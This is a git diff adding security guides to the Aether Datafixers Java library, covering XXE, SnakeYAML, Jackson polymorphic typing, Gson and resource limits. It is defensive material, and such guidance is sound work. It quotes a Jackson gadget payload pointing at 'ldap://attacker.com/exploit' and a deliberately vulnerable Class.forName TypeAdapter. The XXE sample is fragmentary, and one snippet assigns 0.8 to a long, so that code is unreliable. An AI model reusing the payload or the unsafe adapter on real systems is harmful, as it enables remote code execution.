diff --git a/docs/README.md b/docs/README.md index 482fbf0..700ede5 100644 --- a/docs/README.md +++ b/docs/README.md @@ -123,6 +123,16 @@ For experienced users: - [Performance Optimization](advanced/performance-optimization.md) - [Extending the Framework](advanced/extending-framework.md) +### Security + +Guidance for processing untrusted data safely: + +- [Security Overview](security/index.md) — Introduction to security considerations +- [Threat Model](security/threat-model.md) — Attack vectors and trust boundaries +- [Format Security](security/format-considerations/index.md) — Per-format security guidance +- [Best Practices](security/best-practices.md) — Secure configuration patterns +- [Secure Configuration Examples](security/secure-configuration-examples.md) — Ready-to-use examples + ### Spring Boot Integration Seamlessly integrate Aether Datafixers into Spring Boot applications: diff --git a/docs/codec/xml.md b/docs/codec/xml.md index c50d77c..35e14cd 100644 --- a/docs/codec/xml.md +++ b/docs/codec/xml.md @@ -338,6 +338,38 @@ DataResult result = ServerConfig.CODEC.decode(JacksonXmlOps.INSTAN ServerConfig config = result.getOrThrow(); ``` +## Security Considerations + +> **WARNING:** XML processing is vulnerable to **XXE (XML External Entity)** attacks. +> When processing untrusted XML, you **MUST** configure the `XmlMapper` to disable +> external entity processing. + +**XXE attacks can:** +- Read local files (`file:///etc/passwd`) +- Perform Server-Side Request Forgery (SSRF) +- Cause Denial of Service through entity expansion (Billion Laughs) + +**Secure configuration for untrusted XML:** + +```java +XMLInputFactory xmlInputFactory = XMLInputFactory.newFactory(); +xmlInputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); +xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); +xmlInputFactory.setProperty(XMLInputFactory.IS_REPLACING_ENTITY_REFERENCES, false); + +XmlMapper secureMapper = XmlMapper.builder( + XmlFactory.builder() + .xmlInputFactory(xmlInputFactory) + .build() +).build(); + +JacksonXmlOps secureOps = new JacksonXmlOps(secureMapper); +``` + +For detailed security guidance and configuration examples, see [Jackson XML Security](../security/format-considerations/jackson.md#xxe-prevention). + +--- + ## Best Practices 1. **Use Simple Structures** - Jackson XML works best with simple, well-structured XML diff --git a/docs/codec/yaml.md b/docs/codec/yaml.md index 33f997f..3ef29e4 100644 --- a/docs/codec/yaml.md +++ b/docs/codec/yaml.md @@ -132,6 +132,32 @@ Yaml yaml = new Yaml(new SafeConstructor(loaderOptions)); Object data = yaml.load(untrustedYaml); ``` +## Security Considerations + +> **WARNING:** When loading YAML from untrusted sources, you **MUST** use `SafeConstructor` +> to prevent arbitrary code execution attacks. The default `Yaml()` constructor allows +> instantiation of arbitrary Java classes, which can lead to **Remote Code Execution (RCE)**. + +**Critical security measures for untrusted YAML:** + +1. **Always use `SafeConstructor`** — Prevents arbitrary class instantiation +2. **Limit alias expansion** — Set `maxAliasesForCollections` to prevent Billion Laughs attacks +3. **Limit nesting depth** — Set `nestingDepthLimit` to prevent stack overflow +4. **Limit input size** — Set `codePointLimit` to prevent memory exhaustion + +```java +// Secure configuration for untrusted YAML +LoaderOptions options = new LoaderOptions(); +options.setMaxAliasesForCollections(50); +options.setNestingDepthLimit(50); +options.setCodePointLimit(3 * 1024 * 1024); +options.setAllowDuplicateKeys(false); + +Yaml safeYaml = new Yaml(new SafeConstructor(options)); +``` + +For detailed security guidance, see [SnakeYAML Security](../security/format-considerations/snakeyaml.md). + ### Data Types SnakeYamlOps works with native Java types: diff --git a/docs/security/best-practices.md b/docs/security/best-practices.md new file mode 100644 index 0000000..dc04f4a --- /dev/null +++ b/docs/security/best-practices.md @@ -0,0 +1,492 @@ +# Security Best Practices + +This document provides general security best practices for processing untrusted data with Aether Datafixers. These practices apply across all serialization formats. + +## Defense in Depth + +Security should be implemented in layers. No single control is sufficient—combine multiple measures: + +1. **Input Validation** — Check size and format before parsing +2. **Safe Parser Configuration** — Use security-hardened parser settings +3. **Resource Limits** — Enforce depth, size, and time limits +4. **Monitoring** — Log and alert on suspicious activity +5. **Sandboxing** — Isolate high-risk processing + +--- + +## Input Validation Before Migration + +### Size Validation + +Always validate input size before parsing: + +```java +public class InputValidator { + + private static final long MAX_PAYLOAD_SIZE = 10 * 1024 * 1024; // 10MB + + public void validateSize(byte[] input) { + if (input == null) { + throw new IllegalArgumentException("Input cannot be null"); + } + if (input.length > MAX_PAYLOAD_SIZE) { + throw new PayloadTooLargeException( + "Payload size " + input.length + " exceeds maximum " + MAX_PAYLOAD_SIZE); + } + } + + public void validateSize(String input) { + if (input == null) { + throw new IllegalArgumentException("Input cannot be null"); + } + if (input.length() > MAX_PAYLOAD_SIZE) { + throw new PayloadTooLargeException( + "Payload size " + input.length() + " exceeds maximum " + MAX_PAYLOAD_SIZE); + } + } + + public void validateSize(InputStream input, long contentLength) { + if (contentLength > MAX_PAYLOAD_SIZE) { + throw new PayloadTooLargeException( + "Content-Length " + contentLength + " exceeds maximum " + MAX_PAYLOAD_SIZE); + } + } +} +``` + +### Size-Limited InputStream + +For streaming scenarios, wrap the input stream: + +```java +public class SizeLimitedInputStream extends FilterInputStream { + + private final long maxSize; + private long bytesRead = 0; + + public SizeLimitedInputStream(InputStream in, long maxSize) { + super(in); + this.maxSize = maxSize; + } + + @Override + public int read() throws IOException { + int b = super.read(); + if (b != -1) { + bytesRead++; + checkLimit(); + } + return b; + } + + @Override + public int read(byte[] b, int off, int len) throws IOException { + int n = super.read(b, off, len); + if (n > 0) { + bytesRead += n; + checkLimit(); + } + return n; + } + + private void checkLimit() throws IOException { + if (bytesRead > maxSize) { + throw new IOException("Input exceeds maximum size of " + maxSize + " bytes"); + } + } +} + +// Usage +InputStream limited = new SizeLimitedInputStream(userInput, 10 * 1024 * 1024); +Object data = yaml.load(limited); +``` + +--- + +## Depth and Nesting Limits + +Deep nesting can cause stack overflow or excessive memory consumption. + +### Parser-Level Limits (Preferred) + +Use built-in parser limits when available: + +```java +// Jackson +StreamReadConstraints constraints = StreamReadConstraints.builder() + .maxNestingDepth(50) + .build(); + +// SnakeYAML +LoaderOptions options = new LoaderOptions(); +options.setNestingDepthLimit(50); +``` + +### Application-Level Validation + +For parsers without built-in limits, validate after parsing: + +```java +public class DepthValidator { + + private static final int MAX_DEPTH = 50; + + public void validateDepth(Dynamic dynamic) { + validateDepth(dynamic, 0); + } + + private void validateDepth(Dynamic dynamic, int depth) { + if (depth > MAX_DEPTH) { + throw new SecurityException("Data exceeds maximum depth of " + MAX_DEPTH); + } + + // Check map entries + dynamic.getMap().result().ifPresent(map -> { + map.values().forEach(value -> validateDepth(value, depth + 1)); + }); + + // Check list elements + dynamic.getList().result().ifPresent(list -> { + list.forEach(element -> validateDepth(element, depth + 1)); + }); + } +} +``` + +--- + +## Timeout Configuration + +Long-running migrations can be exploited for DoS. Implement timeouts: + +```java +import java.util.concurrent.*; + +public class TimedMigrationService { + + private final AetherDataFixer fixer; + private final ExecutorService executor; + private final Duration timeout; + + public TimedMigrationService(AetherDataFixer fixer, Duration timeout) { + this.fixer = fixer; + this.executor = Executors.newCachedThreadPool(); + this.timeout = timeout; + } + + public TaggedDynamic migrateWithTimeout( + TaggedDynamic input, + DataVersion from, + DataVersion to) throws TimeoutException { + + Future> future = executor.submit( + () -> fixer.update(input, from, to) + ); + + try { + return future.get(timeout.toMillis(), TimeUnit.MILLISECONDS); + } catch (TimeoutException e) { + future.cancel(true); + throw new MigrationTimeoutException( + "Migration timed out after " + timeout, e); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + throw new MigrationException("Migration interrupted", e); + } catch (ExecutionException e) { + throw new MigrationException("Migration failed", e.getCause()); + } + } + + public void shutdown() { + executor.shutdown(); + } +} +``` + +### Virtual Threads (Java 21+) + +With Java 21+, use virtual threads for better resource efficiency: + +```java +public class VirtualThreadMigrationService { + + private final AetherDataFixer fixer; + private final Duration timeout; + + public VirtualThreadMigrationService(AetherDataFixer fixer, Duration timeout) { + this.fixer = fixer; + this.timeout = timeout; + } + + public TaggedDynamic migrateWithTimeout( + TaggedDynamic input, + DataVersion from, + DataVersion to) throws TimeoutException { + + try (var executor = Executors.newVirtualThreadPerTaskExecutor()) { + Future> future = executor.submit( + () -> fixer.update(input, from, to) + ); + return future.get(timeout.toMillis(), TimeUnit.MILLISECONDS); + } catch (TimeoutException e) { + throw new MigrationTimeoutException("Migration timed out", e); + } catch (Exception e) { + throw new MigrationException("Migration failed", e); + } + } +} +``` + +--- + +## Memory Limits + +Limit JVM memory to contain resource exhaustion attacks: + +```bash +# Limit heap size +java -Xmx512m -Xms256m -jar application.jar + +# Enable GC logging for monitoring +java -Xlog:gc*:file=gc.log:time -jar application.jar +``` + +### Monitoring Memory During Migration + +```java +public class MemoryMonitor { + + private static final long WARNING_THRESHOLD = 0.8; // 80% of max heap + + public void checkMemoryBeforeMigration() { + Runtime runtime = Runtime.getRuntime(); + long maxMemory = runtime.maxMemory(); + long usedMemory = runtime.totalMemory() - runtime.freeMemory(); + + if ((double) usedMemory / maxMemory > WARNING_THRESHOLD) { + // Trigger GC and recheck + System.gc(); + usedMemory = runtime.totalMemory() - runtime.freeMemory(); + + if ((double) usedMemory / maxMemory > WARNING_THRESHOLD) { + throw new InsufficientMemoryException( + "Insufficient memory for migration. Used: " + + usedMemory + "/" + maxMemory); + } + } + } +} +``` + +--- + +## Sandboxing Strategies + +For high-risk scenarios, isolate migration processing: + +### Process Isolation + +Run migrations in a separate process with limited privileges: + +```java +public class ProcessIsolatedMigration { + + public String migrateInSandbox(String input, String bootstrapClass) throws Exception { + ProcessBuilder pb = new ProcessBuilder( + "java", + "-Xmx256m", + "-cp", "migration-worker.jar", + "com.example.MigrationWorker", + bootstrapClass + ); + + pb.environment().put("JAVA_TOOL_OPTIONS", ""); // Clear environment + pb.redirectErrorStream(true); + + Process process = pb.start(); + process.getOutputStream().write(input.getBytes()); + process.getOutputStream().close(); + + if (!process.waitFor(30, TimeUnit.SECONDS)) { + process.destroyForcibly(); + throw new TimeoutException("Migration process timed out"); + } + + return new String(process.getInputStream().readAllBytes()); + } +} +``` + +### Container Isolation + +Use container limits for production: + +```yaml +# docker-compose.yml +services: + migration-worker: + image: migration-service + deploy: + resources: + limits: + memory: 512M + cpus: '0.5' + security_opt: + - no-new-privileges:true + read_only: true +``` + +--- + +## Defense-in-Depth Checklist + +Before processing untrusted data, verify: + +### Input Validation +- [ ] Input size is checked before parsing +- [ ] Content-Type header matches expected format +- [ ] Input encoding is validated (UTF-8) + +### Parser Configuration +- [ ] YAML: Using `SafeConstructor` +- [ ] YAML: Alias limit configured (`maxAliasesForCollections`) +- [ ] XML: External entities disabled +- [ ] XML: DTD processing disabled +- [ ] Jackson: Default typing is NOT enabled +- [ ] All: Nesting depth limits configured + +### Resource Limits +- [ ] Timeout configured for migration operations +- [ ] Memory limits set on JVM/container +- [ ] Rate limiting applied for user requests + +### Monitoring +- [ ] Failed migrations are logged +- [ ] Large payloads trigger alerts +- [ ] Timeout events are tracked +- [ ] Memory usage is monitored + +### Error Handling +- [ ] Errors don't expose internal details +- [ ] Stack traces are not sent to clients +- [ ] Sensitive data is not logged + +--- + +## Logging Security Events + +Log security-relevant events for monitoring: + +```java +public class SecureMigrationService { + + private static final Logger SECURITY_LOG = LoggerFactory.getLogger("SECURITY"); + + public TaggedDynamic migrate(TaggedDynamic input, DataVersion from, DataVersion to) { + long startTime = System.currentTimeMillis(); + + try { + TaggedDynamic result = fixer.update(input, from, to); + SECURITY_LOG.info("Migration success: type={}, from={}, to={}, duration={}ms", + input.type().id(), from.version(), to.version(), + System.currentTimeMillis() - startTime); + return result; + } catch (SecurityException e) { + SECURITY_LOG.warn("Migration blocked: type={}, reason={}", + input.type().id(), e.getMessage()); + throw e; + } catch (Exception e) { + SECURITY_LOG.error("Migration failed: type={}, error={}", + input.type().id(), e.getMessage()); + throw e; + } + } +} +``` + +--- + +## Complete Secure Migration Service + +Combining all best practices: + +```java +public class SecureMigrationService { + + private static final Logger LOG = LoggerFactory.getLogger(SecureMigrationService.class); + private static final long MAX_SIZE = 10 * 1024 * 1024; + private static final int MAX_DEPTH = 50; + private static final Duration TIMEOUT = Duration.ofSeconds(30); + + private final AetherDataFixer fixer; + private final ExecutorService executor; + + public SecureMigrationService(AetherDataFixer fixer) { + this.fixer = fixer; + this.executor = Executors.newCachedThreadPool(); + } + + public TaggedDynamic migrateSecurely( + byte[] untrustedInput, + DynamicOps ops, + TypeReference type, + DataVersion from, + DataVersion to) { + + // 1. Size validation + if (untrustedInput.length > MAX_SIZE) { + throw new PayloadTooLargeException("Input exceeds " + MAX_SIZE + " bytes"); + } + + // 2. Parse with safe configuration (format-specific) + T parsed = parseSecurely(untrustedInput, ops); + + // 3. Depth validation + Dynamic dynamic = new Dynamic<>(ops, parsed); + validateDepth(dynamic, 0); + + // 4. Migrate with timeout + TaggedDynamic tagged = new TaggedDynamic<>(type, dynamic); + return migrateWithTimeout(tagged, from, to); + } + + private T parseSecurely(byte[] input, DynamicOps ops) { + // Implementation depends on ops type + // See format-specific guides + throw new UnsupportedOperationException("Implement for specific ops"); + } + + private void validateDepth(Dynamic dynamic, int depth) { + if (depth > MAX_DEPTH) { + throw new SecurityException("Exceeds max depth"); + } + dynamic.getMap().result().ifPresent(map -> + map.values().forEach(v -> validateDepth(v, depth + 1))); + dynamic.getList().result().ifPresent(list -> + list.forEach(e -> validateDepth(e, depth + 1))); + } + + private TaggedDynamic migrateWithTimeout( + TaggedDynamic input, DataVersion from, DataVersion to) { + Future> future = executor.submit( + () -> fixer.update(input, from, to)); + try { + return future.get(TIMEOUT.toMillis(), TimeUnit.MILLISECONDS); + } catch (TimeoutException e) { + future.cancel(true); + throw new MigrationTimeoutException("Timeout", e); + } catch (Exception e) { + throw new MigrationException("Failed", e); + } + } +} +``` + +--- + +## Related + +- [Threat Model](threat-model.md) +- [Format-Specific Security](format-considerations/index.md) +- [Secure Configuration Examples](secure-configuration-examples.md) +- [Spring Security Integration](spring-security-integration.md) diff --git a/docs/security/format-considerations/gson.md b/docs/security/format-considerations/gson.md new file mode 100644 index 0000000..bbc497c --- /dev/null +++ b/docs/security/format-considerations/gson.md @@ -0,0 +1,309 @@ +# Gson Security + +Gson is a relatively safe JSON library with a minimal attack surface. It does not support polymorphic deserialization by default, making it less susceptible to the deserialization attacks that affect other libraries. + +## Overview + +| Risk | Severity | Mitigation | +|-----------------------------|----------|----------------------------------| +| Large Payload DoS | Medium | Pre-validate size before parsing | +| Deep Nesting Stack Overflow | Medium | Validate nesting depth | +| Custom TypeAdapter Risks | Low | Review custom adapters carefully | + +## Safe by Default + +Unlike Jackson, Gson does **not** support polymorphic deserialization by default: + +```java +// This is SAFE - Gson doesn't instantiate arbitrary classes +Gson gson = new Gson(); +MyClass obj = gson.fromJson(untrustedJson, MyClass.class); +``` + +Gson only deserializes to the explicitly specified type (`MyClass`), not types specified in the JSON payload. + +## Potential Risks + +### Large Payload DoS + +Gson will attempt to parse any JSON regardless of size. Very large payloads can cause memory exhaustion: + +```java +// No built-in size limits +Gson gson = new Gson(); +// This will try to parse a 1GB JSON string +JsonElement element = JsonParser.parseString(hugeJson); // Potential OOM +``` + +### Deep Nesting Stack Overflow + +Deeply nested JSON can cause stack overflow during parsing: + +```json +{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":...}}}}}}}}} +``` + +--- + +## Secure Configuration + +### Pre-Validation Before Parsing + +Always validate input before parsing: + +```java +public class SecureGsonParser { + + private static final long MAX_SIZE = 10 * 1024 * 1024; // 10MB + private static final int MAX_DEPTH = 50; + + private final Gson gson; + + public SecureGsonParser() { + this.gson = new GsonBuilder() + .disableHtmlEscaping() // Optional: for data migration + .create(); + } + + public JsonElement parse(String json) { + // Validate size + if (json.length() > MAX_SIZE) { + throw new SecurityException("JSON exceeds maximum size"); + } + + // Parse + JsonElement element = JsonParser.parseString(json); + + // Validate depth + validateDepth(element, 0); + + return element; + } + + private void validateDepth(JsonElement element, int depth) { + if (depth > MAX_DEPTH) { + throw new SecurityException("JSON exceeds maximum nesting depth"); + } + + if (element.isJsonObject()) { + for (Map.Entry entry : element.getAsJsonObject().entrySet()) { + validateDepth(entry.getValue(), depth + 1); + } + } else if (element.isJsonArray()) { + for (JsonElement item : element.getAsJsonArray()) { + validateDepth(item, depth + 1); + } + } + } +} +``` + +### Integration with GsonOps + +```java +import de.splatgames.aether.datafixers.api.dynamic.Dynamic; +import de.splatgames.aether.datafixers.codec.json.gson.GsonOps; + +public class SecureGsonMigration { + + private static final long MAX_SIZE = 10 * 1024 * 1024; + private static final int MAX_DEPTH = 50; + + public Dynamic parseSecurely(String json) { + // 1. Size validation + if (json.length() > MAX_SIZE) { + throw new SecurityException("JSON exceeds maximum size"); + } + + // 2. Parse + JsonElement element = JsonParser.parseString(json); + + // 3. Depth validation + validateDepth(element, 0); + + // 4. Wrap in Dynamic + return new Dynamic<>(GsonOps.INSTANCE, element); + } + + private void validateDepth(JsonElement element, int depth) { + if (depth > MAX_DEPTH) { + throw new SecurityException("JSON exceeds maximum nesting depth"); + } + + if (element.isJsonObject()) { + element.getAsJsonObject().entrySet() + .forEach(e -> validateDepth(e.getValue(), depth + 1)); + } else if (element.isJsonArray()) { + element.getAsJsonArray() + .forEach(e -> validateDepth(e, depth + 1)); + } + } +} +``` + +--- + +## Streaming Parser for Large Files + +For very large files, use Gson's streaming API with validation: + +```java +import com.google.gson.stream.JsonReader; + +public class StreamingGsonParser { + + private static final int MAX_DEPTH = 50; + private int currentDepth = 0; + + public void parseWithDepthLimit(Reader input) throws IOException { + try (JsonReader reader = new JsonReader(input)) { + parseValue(reader); + } + } + + private void parseValue(JsonReader reader) throws IOException { + switch (reader.peek()) { + case BEGIN_OBJECT -> { + checkDepth(); + currentDepth++; + reader.beginObject(); + while (reader.hasNext()) { + reader.nextName(); + parseValue(reader); + } + reader.endObject(); + currentDepth--; + } + case BEGIN_ARRAY -> { + checkDepth(); + currentDepth++; + reader.beginArray(); + while (reader.hasNext()) { + parseValue(reader); + } + reader.endArray(); + currentDepth--; + } + case STRING -> reader.nextString(); + case NUMBER -> reader.nextDouble(); + case BOOLEAN -> reader.nextBoolean(); + case NULL -> reader.nextNull(); + default -> throw new IllegalStateException("Unexpected token"); + } + } + + private void checkDepth() { + if (currentDepth >= MAX_DEPTH) { + throw new SecurityException("Maximum nesting depth exceeded"); + } + } +} +``` + +--- + +## Custom TypeAdapter Security + +If you use custom `TypeAdapter` implementations, review them for security: + +```java +// DANGEROUS - Deserializes arbitrary classes +public class UnsafeTypeAdapter extends TypeAdapter { + @Override + public Object read(JsonReader in) { + String className = in.nextString(); + return Class.forName(className).newInstance(); // VULNERABLE! + } +} + +// SAFE - Only handles known types +public class SafeTypeAdapter extends TypeAdapter { + @Override + public MyClass read(JsonReader in) { + // Only deserialize to MyClass, not arbitrary types + return new MyClass(in.nextString()); + } +} +``` + +--- + +## Complete Secure Service + +```java +public class SecureGsonMigrationService { + + private static final long MAX_SIZE = 10 * 1024 * 1024; + private static final int MAX_DEPTH = 50; + + private final AetherDataFixer fixer; + private final Gson gson; + + public SecureGsonMigrationService(AetherDataFixer fixer) { + this.fixer = fixer; + this.gson = new GsonBuilder().create(); + } + + public TaggedDynamic migrate( + String untrustedJson, + TypeReference type, + DataVersion from, + DataVersion to) { + + // Validate + validateInput(untrustedJson); + + // Parse + JsonElement element = JsonParser.parseString(untrustedJson); + validateDepth(element, 0); + + // Migrate + Dynamic dynamic = new Dynamic<>(GsonOps.INSTANCE, element); + TaggedDynamic tagged = new TaggedDynamic<>(type, dynamic); + return fixer.update(tagged, from, to); + } + + private void validateInput(String json) { + if (json == null || json.isEmpty()) { + throw new IllegalArgumentException("JSON input cannot be null or empty"); + } + if (json.length() > MAX_SIZE) { + throw new SecurityException("JSON exceeds maximum size of " + MAX_SIZE + " bytes"); + } + } + + private void validateDepth(JsonElement element, int depth) { + if (depth > MAX_DEPTH) { + throw new SecurityException("JSON exceeds maximum depth of " + MAX_DEPTH); + } + if (element.isJsonObject()) { + element.getAsJsonObject().entrySet() + .forEach(e -> validateDepth(e.getValue(), depth + 1)); + } else if (element.isJsonArray()) { + element.getAsJsonArray() + .forEach(e -> validateDepth(e, depth + 1)); + } + } +} +``` + +--- + +## Comparison with Jackson + +| Feature | Gson | Jackson | +|--------------------------------|---------------------------|---------------------------------| +| Polymorphic Deserialization | Not supported by default | Opt-in (dangerous if enabled) | +| Built-in Size Limits | No | Yes (StreamReadConstraints) | +| Built-in Depth Limits | No | Yes (StreamReadConstraints) | +| Attack Surface | Small | Larger | +| Recommended for Untrusted Data | Yes (with pre-validation) | Yes (with proper configuration) | + +--- + +## Related + +- [Threat Model](../threat-model.md) +- [Best Practices](../best-practices.md) +- [JSON Support](../../codec/json.md) +- [Secure Configuration Examples](../secure-configuration-examples.md) diff --git a/docs/security/format-considerations/index.md b/docs/security/format-considerations/index.md new file mode 100644 index 0000000..1e90c8c --- /dev/null +++ b/docs/security/format-considerations/index.md @@ -0,0 +1,105 @@ +# Format-Specific Security Considerations + +Each serialization format supported by Aether Datafixers has unique security characteristics. This section provides detailed guidance for secure configuration of each format. + +## Risk Summary + +| Format | Library | Risk Level | Primary Concerns | +|--------|-----------|--------------|-----------------------------------------------| +| YAML | SnakeYAML | **Critical** | Arbitrary code execution, Billion Laughs | +| YAML | Jackson | Low-Medium | Depth limits only | +| XML | Jackson | **High** | XXE, Entity expansion | +| JSON | Jackson | Medium | Polymorphic typing (if enabled), depth limits | +| JSON | Gson | Low | Minimal attack surface | +| TOML | Jackson | Low | Limited attack surface | + +## Format-Specific Guides + +### [SnakeYAML Security](snakeyaml.md) + +**Risk Level: Critical** + +SnakeYAML's default configuration allows arbitrary Java class instantiation, making it extremely dangerous for untrusted input. This guide covers: + +- Arbitrary code execution prevention +- Billion Laughs attack mitigation +- Safe `LoaderOptions` configuration +- Complete secure setup example + +### [Jackson Security](jackson.md) + +**Risk Level: Medium-High (format dependent)** + +Jackson is used for JSON, YAML, XML, and TOML. Security considerations vary by format: + +- **JSON:** Polymorphic deserialization risks +- **YAML:** Fewer risks than SnakeYAML (no arbitrary constructors) +- **XML:** XXE vulnerabilities +- **All:** Depth and size limits + +### [Gson Security](gson.md) + +**Risk Level: Low** + +Gson has a relatively small attack surface by default. This guide covers: + +- Safe default behavior +- Pre-validation recommendations +- Depth validation patterns + +## Quick Reference + +### SnakeYAML: Always Use SafeConstructor + +```java +LoaderOptions options = new LoaderOptions(); +options.setMaxAliasesForCollections(50); +options.setNestingDepthLimit(50); + +Yaml safeYaml = new Yaml(new SafeConstructor(options)); +``` + +### Jackson XML: Disable External Entities + +```java +XMLInputFactory xmlFactory = XMLInputFactory.newFactory(); +xmlFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); +xmlFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); +``` + +### Jackson JSON: Configure Read Constraints + +```java +StreamReadConstraints constraints = StreamReadConstraints.builder() + .maxNestingDepth(50) + .maxStringLength(1_000_000) + .build(); +``` + +### Jackson: Never Enable Default Typing + +```java +// DANGEROUS - Never do this with untrusted data: +// mapper.enableDefaultTyping(); + +// DANGEROUS - Also avoid: +// mapper.activateDefaultTyping(mapper.getPolymorphicTypeValidator()); +``` + +## Decision Matrix + +Use this matrix to determine which security measures to apply: + +| Data Source | SnakeYAML | Jackson JSON | Jackson XML | Gson | +|-------------------|--------------------------|-----------------|----------------|----------------| +| User uploads | SafeConstructor + limits | Depth limits | XXE + limits | Pre-validation | +| External APIs | SafeConstructor + limits | Depth limits | XXE + limits | Pre-validation | +| Message queues | SafeConstructor + limits | Depth limits | XXE + limits | Pre-validation | +| Internal services | Consider SafeConstructor | Optional limits | XXE prevention | Default OK | +| Local config | Default OK | Default OK | Default OK | Default OK | + +## Related + +- [Threat Model](../threat-model.md) +- [Best Practices](../best-practices.md) +- [Secure Configuration Examples](../secure-configuration-examples.md) diff --git a/docs/security/format-considerations/jackson.md b/docs/security/format-considerations/jackson.md new file mode 100644 index 0000000..1fc7cac --- /dev/null +++ b/docs/security/format-considerations/jackson.md @@ -0,0 +1,328 @@ +# Jackson Security + +Jackson is used by Aether Datafixers for JSON, YAML, XML, and TOML via `JacksonJsonOps`, `JacksonYamlOps`, `JacksonXmlOps`, and `JacksonTomlOps`. Each format has specific security considerations. + +## Overview + +| Format | Ops Class | Risk Level | Key Concerns | +|--------|------------------|------------|-------------------------------------| +| JSON | `JacksonJsonOps` | Medium | Polymorphic typing, resource limits | +| YAML | `JacksonYamlOps` | Low-Medium | Fewer features than SnakeYAML | +| XML | `JacksonXmlOps` | **High** | XXE, Entity expansion | +| TOML | `JacksonTomlOps` | Low | Minimal attack surface | + +--- + +## Polymorphic Deserialization + +### The Vulnerability + +Jackson's "default typing" feature allows JSON to specify which Java class to instantiate. This is extremely dangerous with untrusted input: + +```java +// DANGEROUS - Never do this with untrusted data +ObjectMapper mapper = new ObjectMapper(); +mapper.enableDefaultTyping(); // VULNERABLE! +``` + +Attackers can exploit this to execute arbitrary code: + +```json +{ + "@class": "com.sun.rowset.JdbcRowSetImpl", + "dataSourceName": "ldap://attacker.com/exploit", + "autoCommit": true +} +``` + +### Safe Configuration + +**Never enable default typing for untrusted data:** + +```java +// SAFE - Default configuration (no polymorphic typing) +ObjectMapper mapper = new ObjectMapper(); +// Do NOT call enableDefaultTyping() or activateDefaultTyping() +``` + +**If polymorphic typing is absolutely required**, use an allowlist: + +```java +ObjectMapper mapper = new ObjectMapper(); +mapper.activateDefaultTyping( + BasicPolymorphicTypeValidator.builder() + .allowIfSubType(SafeBaseClass.class) // Only allow specific types + .build(), + ObjectMapper.DefaultTyping.NON_FINAL +); +``` + +--- + +## StreamReadConstraints (Jackson 2.15+) + +Jackson 2.15+ provides `StreamReadConstraints` to limit resource consumption: + +```java +import com.fasterxml.jackson.core.JsonFactory; +import com.fasterxml.jackson.core.StreamReadConstraints; +import com.fasterxml.jackson.databind.ObjectMapper; + +StreamReadConstraints constraints = StreamReadConstraints.builder() + .maxNestingDepth(50) // Prevent stack overflow + .maxNumberLength(100) // Limit number string length + .maxStringLength(1_000_000) // 1MB max string + .maxNameLength(50_000) // Limit field name length + .maxDocumentLength(10_000_000) // 10MB max document (Jackson 2.16+) + .build(); + +JsonFactory factory = JsonFactory.builder() + .streamReadConstraints(constraints) + .build(); + +ObjectMapper safeMapper = new ObjectMapper(factory); +``` + +### Constraint Reference + +| Constraint | Default | Recommended | Purpose | +|---------------------|-----------|-------------|-----------------------------| +| `maxNestingDepth` | 1000 | 50-100 | Prevent stack overflow | +| `maxStringLength` | 20MB | 1-10MB | Limit memory per string | +| `maxNumberLength` | 1000 | 100 | Prevent huge number strings | +| `maxNameLength` | 50000 | 1000 | Limit field name length | +| `maxDocumentLength` | unlimited | 10MB | Total document size | + +--- + +## XXE Prevention + +### The Vulnerability + +XML External Entity (XXE) attacks allow attackers to: +- Read local files (`file:///etc/passwd`) +- Perform SSRF (`http://internal-server/`) +- Cause DoS via entity expansion + +```xml + + +]> +&xxe; +``` + +### Secure JacksonXmlOps Configuration + +```java +import com.fasterxml.jackson.dataformat.xml.XmlFactory; +import com.fasterxml.jackson.dataformat.xml.XmlMapper; +import javax.xml.stream.XMLInputFactory; + +public class SecureXmlMapperFactory { + + public static XmlMapper createSecureXmlMapper() { + // Create secure XMLInputFactory + XMLInputFactory xmlInputFactory = XMLInputFactory.newFactory(); + + // Disable external entities (XXE prevention) + xmlInputFactory.setProperty( + XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); + + // Disable DTD processing + xmlInputFactory.setProperty( + XMLInputFactory.SUPPORT_DTD, false); + + // Disable entity reference replacement + xmlInputFactory.setProperty( + XMLInputFactory.IS_REPLACING_ENTITY_REFERENCES, false); + + // Build secure XmlMapper + return XmlMapper.builder( + XmlFactory.builder() + .xmlInputFactory(xmlInputFactory) + .build() + ).build(); + } +} + +// Usage with JacksonXmlOps +XmlMapper secureMapper = SecureXmlMapperFactory.createSecureXmlMapper(); +JacksonXmlOps secureOps = new JacksonXmlOps(secureMapper); +``` + +### XMLInputFactory Properties Reference + +| Property | Value | Purpose | +|----------|-------|---------| +| `IS_SUPPORTING_EXTERNAL_ENTITIES` | `false` | Block external entity loading | +| `SUPPORT_DTD` | `false` | Disable DTD processing entirely | +| `IS_REPLACING_ENTITY_REFERENCES` | `false` | Don't expand entities | +| `IS_VALIDATING` | `false` | Skip DTD validation | + +--- + +## Complete Secure Configurations + +### Secure JacksonJsonOps + +```java +import com.fasterxml.jackson.core.JsonFactory; +import com.fasterxml.jackson.core.StreamReadConstraints; +import com.fasterxml.jackson.databind.ObjectMapper; +import de.splatgames.aether.datafixers.codec.json.jackson.JacksonJsonOps; + +public class SecureJacksonJsonConfig { + + public static JacksonJsonOps createSecureOps() { + StreamReadConstraints constraints = StreamReadConstraints.builder() + .maxNestingDepth(50) + .maxNumberLength(100) + .maxStringLength(1_000_000) + .build(); + + JsonFactory factory = JsonFactory.builder() + .streamReadConstraints(constraints) + .build(); + + ObjectMapper mapper = new ObjectMapper(factory); + + return new JacksonJsonOps(mapper); + } +} + +// Usage +JacksonJsonOps secureOps = SecureJacksonJsonConfig.createSecureOps(); +JsonNode node = secureOps.mapper().readTree(untrustedJson); +Dynamic dynamic = new Dynamic<>(secureOps, node); +``` + +### Secure JacksonYamlOps + +```java +import com.fasterxml.jackson.core.StreamReadConstraints; +import com.fasterxml.jackson.dataformat.yaml.YAMLFactory; +import com.fasterxml.jackson.dataformat.yaml.YAMLMapper; +import de.splatgames.aether.datafixers.codec.yaml.jackson.JacksonYamlOps; + +public class SecureJacksonYamlConfig { + + public static JacksonYamlOps createSecureOps() { + StreamReadConstraints constraints = StreamReadConstraints.builder() + .maxNestingDepth(50) + .maxStringLength(1_000_000) + .build(); + + YAMLFactory factory = 